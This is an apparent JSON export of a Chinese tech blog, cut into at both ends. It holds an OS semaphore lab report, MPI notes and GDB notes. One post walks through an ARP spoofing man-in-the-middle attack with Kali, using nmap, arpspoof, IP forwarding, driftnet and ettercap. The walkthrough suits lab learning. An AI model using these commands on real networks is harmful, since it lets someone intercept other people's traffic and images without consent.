class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003epthread_t\u003c/span\u003e p1, c1, p2, c2, p3, c3;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pthread_mutex_init(\u0026amp;mutex, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) != \u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Mutex init failed\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_init(\u0026amp;items, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_init(\u0026amp;space, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, SIZE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;p1, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, produce, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;p2, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, produce, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;p3, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, produce, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;c1, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, consume, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;c2, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, consume, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;c3, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, consume, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(p1, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(p2, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(p3, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(c1, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(c2, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(c3, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-5\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230523170029.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,生产者进程和消费者进程能够通过信号量来同步他们的操作,保证缓冲区的值不会超过8或低于0。\u003c/p\u003e\u003ch3 id=\"五、实验心得-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-5\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下信号量的原理和用法,知道了如何使用系统调用来创建和操作信号量,在生产者消费者问题中实现进程同步。同时,我也了解了如何使用信号量来控制资源的访问和分配。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/"},{"title":"使用Kali进行ARP欺骗攻击","time":"2023-05-22T02:28:36Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"步骤\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/arp-kali/#%E6%AD%A5%E9%AA%A4\" class=\"headerlink\" title=\"步骤\"\u003e\u003c/a\u003e步骤\u003c/h2\u003e\u003cp\u003e先用\u003ccode\u003eifconfig\u003c/code\u003e看网卡名称,我是\u003ccode\u003eeth0\u003c/code\u003e。随后用\u003ccode\u003efping\u003c/code\u003e或者\u003ccode\u003enmap\u003c/code\u003e扫描网段\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efping -asg 192.168.16.0/24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 或者这条\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enmap 192.168.16.1-100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003earpspoof -i eth0 -t [target IP] [gate]\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果想做中间人攻击,编辑\u003ccode\u003e/etc/sysctl.conf\u003c/code\u003e,添加配置\u003ccode\u003enet.ipv4.ip_forward=1\u003c/code\u003e,就可以开启端口转发。\u003c/p\u003e\u003cp\u003e此时重新运行,不过得换一下网关ip和目标ip\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003earpspoof -i eth0 -t [gate] [target IP] \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e随后打开另一个终端,运行\u003ccode\u003edriftnet\u003c/code\u003e和\u003ccode\u003eettercap\u003c/code\u003e:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edriftnet -i eth0 -a -d /root/out\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eettercap -Tq -i eth0\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在上面的目录可以看到缓存的图片,下面的终端可以看到eth0的流量。至此,攻击测试完成。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/arp-kali/"},{"title":"C语言MPI学习笔记","time":"2023-04-27T15:48:54Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"简介\"\u003e\u003ca href=\"https://xeonds.github.io/2023/04/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80MPI%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e内容由New Bing自动生成,注意甄别\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eMPI是一种用于并行计算的消息传递接口,它可以让多个进程在不同的机器(节点)上协同工作,通过发送和接收数据来完成复杂的计算任务。\u003c/p\u003e\u003cp\u003e简单地说,这是一个位高性能并行计算提供的一个\u003cstrong\u003e基础通信规范\u003c/strong\u003e。依靠它,可以编写出在多个核心/CPU集群上并行运行的程序。\u003c/p\u003e\u003cp\u003e要使用C语言MPI,您需要安装一个MPI软件,如MPICH,OpenMPI或MVAPICH,并使用mpicc或mpic++命令来编译您的C程序。\u003c/p\u003e\u003cp\u003e您还需要使用一些MPI的API函数来初始化和结束MPI环境,获取进程数和进程编号(称为“rank”),以及进行数据交换。\u003c/p\u003e\u003cp\u003e数据交换的主要方式有两种:发送(send)和接收(recv)。发送可以分为阻塞(blocking)和非阻塞(non-blocking)两种,阻塞发送会等待数据被接收方确认,而非阻塞发送会继续执行后续的代码,但需要使用等待(wait)函数来同步数据的状态。\u003c/p\u003e\u003cp\u003e依靠MPI构建的数据计算程序有多种架构,MIMD和SIMD都是它支持的架构。不过一般使用后一种,也就是单程序多数据流。\u003c/p\u003e\u003cp\u003e对于这种架构,又有两种不同的设计模式:主从结构,以及对等结构。它们适用于大多数情况。\u003c/p\u003e\u003ch2 id=\"实例\"\u003e\u003ca href=\"https://xeonds.github.io/2023/04/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80MPI%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%AE%9E%E4%BE%8B\" class=\"headerlink\" title=\"实例\"\u003e\u003c/a\u003e实例\u003c/h2\u003e\u003cp\u003e下面是一个简单的C语言MPI程序的示例,它可以计算圆周率的近似值:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e作者:\u003ca href=\"mailto:xiongw21@mails.tsinghua.edu.cn\"\u003exiongw21@mails.tsinghua.edu.cn\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;mpi.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (\u003cspan class=\"number\"\u003e4.0\u003c/span\u003e/(\u003cspan class=\"number\"\u003e1.0\u003c/span\u003e+x*x));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc,\u003cspan class=\"type\"\u003echar\u003c/span\u003e *argv[])\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e myid, numprocs;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e n, i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e mypi, pi;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e h, sum, x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Init(\u0026amp;argc,\u0026amp;argv);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Comm_size(MPI_COMM_WORLD,\u0026amp;numprocs);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Comm_rank(MPI_COMM_WORLD,\u0026amp;myid);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d of %d.\\n\u0026#34;\u003c/span\u003e, myid, numprocs);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n = \u003cspan class=\"number\"\u003e100\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e h = \u003cspan class=\"number\"\u003e1.0\u003c/span\u003e / (\u003cspan class=\"type\"\u003edouble\u003c/span\u003e) n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sum = \u003cspan class=\"number\"\u003e0.0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = myid + \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= n; i += numprocs)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x = h * ((\u003cspan class=\"type\"\u003edouble\u003c/span\u003e)i - \u003cspan class=\"number\"\u003e0.5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sum +=f(x);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mypi = h * sum;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Reduce(\u0026amp;mypi, \u0026amp;pi, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, MPI_DOUBLE, MPI_SUM, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, MPI_COMM_WORLD);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (myid == \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;The result is %.10f.\\n\u0026#34;\u003c/span\u003e,pi);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Finalize();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/04/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80MPI%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"GDB学习笔记","time":"2023-03-16T15:12:16Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eGDB(GNU Debug Bridge)是一个二进制程序调试工具,适用于调试C和C++程序。这种二进制程序工具统称为bin-utils。类似的还有\u003ccode\u003estrace\u003c/code\u003e,一个跟踪程序系统调用的工具。\u003c/p\u003e\u003ch2 id=\"快速上手\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B\" class=\"headerlink\" title=\"快速上手\"\u003e\u003c/a\u003e快速上手\u003c/h2\u003e\u003cp\u003e在此之前,编译程序时记得加上\u003ccode\u003e-g\u003c/code\u003e参数来生成调试信息。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc main.c -g -o main\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e首先,使用\u003ccode\u003egdb \u0026lt;program\u0026gt;\u003c/code\u003e启动gdb并加载程序。随后,使用\u003ccode\u003ebreak main\u003c/code\u003e在\u003ccode\u003emain\u003c/code\u003e函数入口设置断点,否则程序会直接执行完成。接着,使用\u003ccode\u003erun [args]\u003c/code\u003e执行程序并附加可选的参数。程序会在断点处停止,在这之后,就可以使用\u003ccode\u003enext\u003c/code\u003e(简写为\u003ccode\u003en\u003c/code\u003e)或\u003ccode\u003estep\u003c/code\u003e单步执行,使用\u003ccode\u003eprint expr\u003c/code\u003e打印表达式的值。完成后,用\u003ccode\u003equit\u003c/code\u003e退出gdb。\u003c/p\u003e\u003ch3 id=\"解释说明\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%A7%A3%E9%87%8A%E8%AF%B4%E6%98%8E\" class=\"headerlink\" title=\"解释说明\"\u003e\u003c/a\u003e解释说明\u003c/h3\u003e\u003col\u003e\u003cli\u003e只有编译时加上了\u003ccode\u003e-g\u003c/code\u003e,gdb才能进行调试\u003c/li\u003e\u003cli\u003e\u003ccode\u003enext\u003c/code\u003e表示执行下一条语句而不进入函数内部;\u003ccode\u003estep\u003c/code\u003e则会进入函数内部\u003c/li\u003e\u003cli\u003e\u003ccode\u003eprint expr\u003c/code\u003e可以输出表达式的值,一次一个参数。例如查看数组arr的第i个元素可以用\u003ccode\u003eprint arr[i]\u003c/code\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"GDB的几种模式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#GDB%E7%9A%84%E5%87%A0%E7%A7%8D%E6%A8%A1%E5%BC%8F\" class=\"headerlink\" title=\"GDB的几种模式\"\u003e\u003c/a\u003eGDB的几种模式\u003c/h2\u003e\u003cp\u003eGDB有多种模式,包括交互模式、批处理模式、远程调试模式等。交互模式是最常用的模式,用户可以在命令行界面中输入命令与GDB交互。批处理模式可以在不人工干预的情况下执行一系列GDB命令,通常用于自动化测试和调试。远程调试模式可以在远程主机上调试程序,通常用于嵌入式系统和分布式系统的调试。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e交互模式\u003c/code\u003e 是最常用的模式,用户可以在命令行界面中输入命令与GDB交互。进入交互模式的方法是在命令行中输入\u003ccode\u003egdb \u0026lt;program\u0026gt;\u003c/code\u003e,其中\u003ccode\u003e\u0026lt;program\u0026gt;\u003c/code\u003e是要调试的程序的可执行文件。交互模式的作用是让用户能够在程序执行过程中控制程序的执行,查看程序的状态,以及调试程序的错误。基本使用方法包括设置断点、运行程序、单步执行、打印变量值、查看函数调用栈等。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e批处理模式\u003c/code\u003e 可以在不人工干预的情况下执行一系列GDB命令,通常用于自动化测试和调试。进入批处理模式的方法是在命令行中输入\u003ccode\u003egdb -batch -x \u0026lt;script\u0026gt; \u0026lt;program\u0026gt;\u003c/code\u003e,其中\u003ccode\u003e\u0026lt;script\u0026gt;\u003c/code\u003e是包含GDB命令的脚本文件,\u003ccode\u003e\u0026lt;program\u0026gt;\u003c/code\u003e是要调试的程序的可执行文件。批处理模式的作用是让用户能够自动化执行一系列GDB命令,以便进行自动化测试和调试。基本使用方法包括设置断点、运行程序、单步执行、打印变量值、查看函数调用栈等。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e远程调试模式\u003c/code\u003e 可以在远程主机上调试程序,通常用于嵌入式系统和分布式系统的调试。进入远程调试模式的方法是在命令行中输入\u003ccode\u003egdb \u0026lt;program\u0026gt;\u003c/code\u003e,然后使用\u003ccode\u003etarget remote \u0026lt;host\u0026gt;:\u0026lt;port\u0026gt;\u003c/code\u003e命令连接到远程主机,其中\u003ccode\u003e\u0026lt;host\u0026gt;\u003c/code\u003e是远程主机的IP地址或主机名,\u003ccode\u003e\u0026lt;port\u0026gt;\u003c/code\u003e是远程主机上GDB服务器的端口号。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eGDB的软件结构可以分为以下几个部分:\u003c/p\u003e\u003col\u003e\u003cli\u003e前端:用户与GDB交互的界面,可以是命令行界面或者GUI界面。\u003c/li\u003e\u003cli\u003e后端:GDB的核心部分,负责解析用户输入的命令,控制程序的执行,以及与目标程序进行通信。\u003c/li\u003e\u003cli\u003e目标:被调试的程序,GDB通过与目标程序进行通信来控制其执行。\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"常用指令\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%B8%B8%E7%94%A8%E6%8C%87%E4%BB%A4\" class=\"headerlink\" 